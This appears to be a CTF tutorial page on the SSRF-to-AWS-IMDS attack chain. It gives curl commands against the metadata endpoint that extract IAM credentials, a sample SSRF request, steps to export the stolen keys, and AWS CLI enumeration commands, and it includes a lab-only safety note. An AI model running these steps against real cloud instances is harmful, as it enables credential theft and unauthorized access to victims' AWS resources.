AWS Metadata (IMDS) Attacks
Exploit AWS Instance Metadata Service exposure in CTF cloud and web challenges to extract temporary credentials.
AWS Metadata (IMDS) Attacks
Every EC2 instance runs a local HTTP service at 169.254.169.254 called the Instance Metadata Service (IMDS). It provides temporary IAM credentials, instance configuration, and user data to applications running on the instance. If a web application on the instance has an SSRF vulnerability, an attacker can reach IMDS and steal those credentials, gaining full access to whatever AWS services the instance's IAM role permits.
This is one of the most common cloud CTF attack chains: SSRF → IMDS → AWS credentials → flag.
Safety note
Do not probe IMDS on systems you do not own or have explicit permission to test. These techniques should only be demonstrated in isolated lab environments.
SSRF → IMDS Attack Chain
Why This Matters in CTF
- Web challenge provides SSRF primitive (URL fetch, PDF generator, webhook)
- Internal fetch can reach
169.254.169.254 - Retrieved creds have over-permissive IAM policy
- Flag lives in S3, Secrets Manager, Lambda env, or another assumable role
IMDS Endpoints
| Endpoint | Purpose |
|---|---|
/latest/meta-data/ | Enumerate available metadata keys |
/latest/meta-data/iam/security-credentials/ | List attached IAM role name |
/latest/meta-data/iam/security-credentials/<ROLE> | Return AccessKeyId, SecretAccessKey, Token |
IMDSv1 vs IMDSv2
IMDSv1 accepts plain GET requests, so it is exploitable by any SSRF that can make a GET.
# Enumerate role name
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
# Get credentials
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"Via SSRF:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Full Extraction Walkthrough
Confirm SSRF Callback
Test with a controlled server (Burp Collaborator, interactsh) to confirm the app makes outbound requests.
Get Role Name
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo $ROLEExtract Credentials
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > creds.json
cat creds.jsonExport and Verify
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token creds.json)
aws sts get-caller-identityEnumerate and Find the Flag
aws iam list-attached-role-policies --role-name "$ROLE"
aws s3 ls
aws secretsmanager list-secrets
aws ssm describe-parameters
aws lambda list-functionsPost-Exploitation
Checklist
- Confirm SSRF callback to controlled server
- Probe metadata root and IAM role path
- Handle IMDSv2 token flow if IMDSv1 fails
- Export creds and run
aws sts get-caller-identity - Enumerate S3, Secrets Manager, and assumable roles
- Re-enumerate after every successful AssumeRole step
Last updated on
Cloud Security
Index of cloud CTF pages - metadata abuse, bucket misconfigurations, IAM escalation, Kubernetes basics, and CI/CD secret leaks.
Azure & Entra ID Attacks
Steal managed-identity tokens via Azure IMDS, enumerate Entra ID, and abuse over-privileged service principals and storage misconfigs in CTF cloud challenges.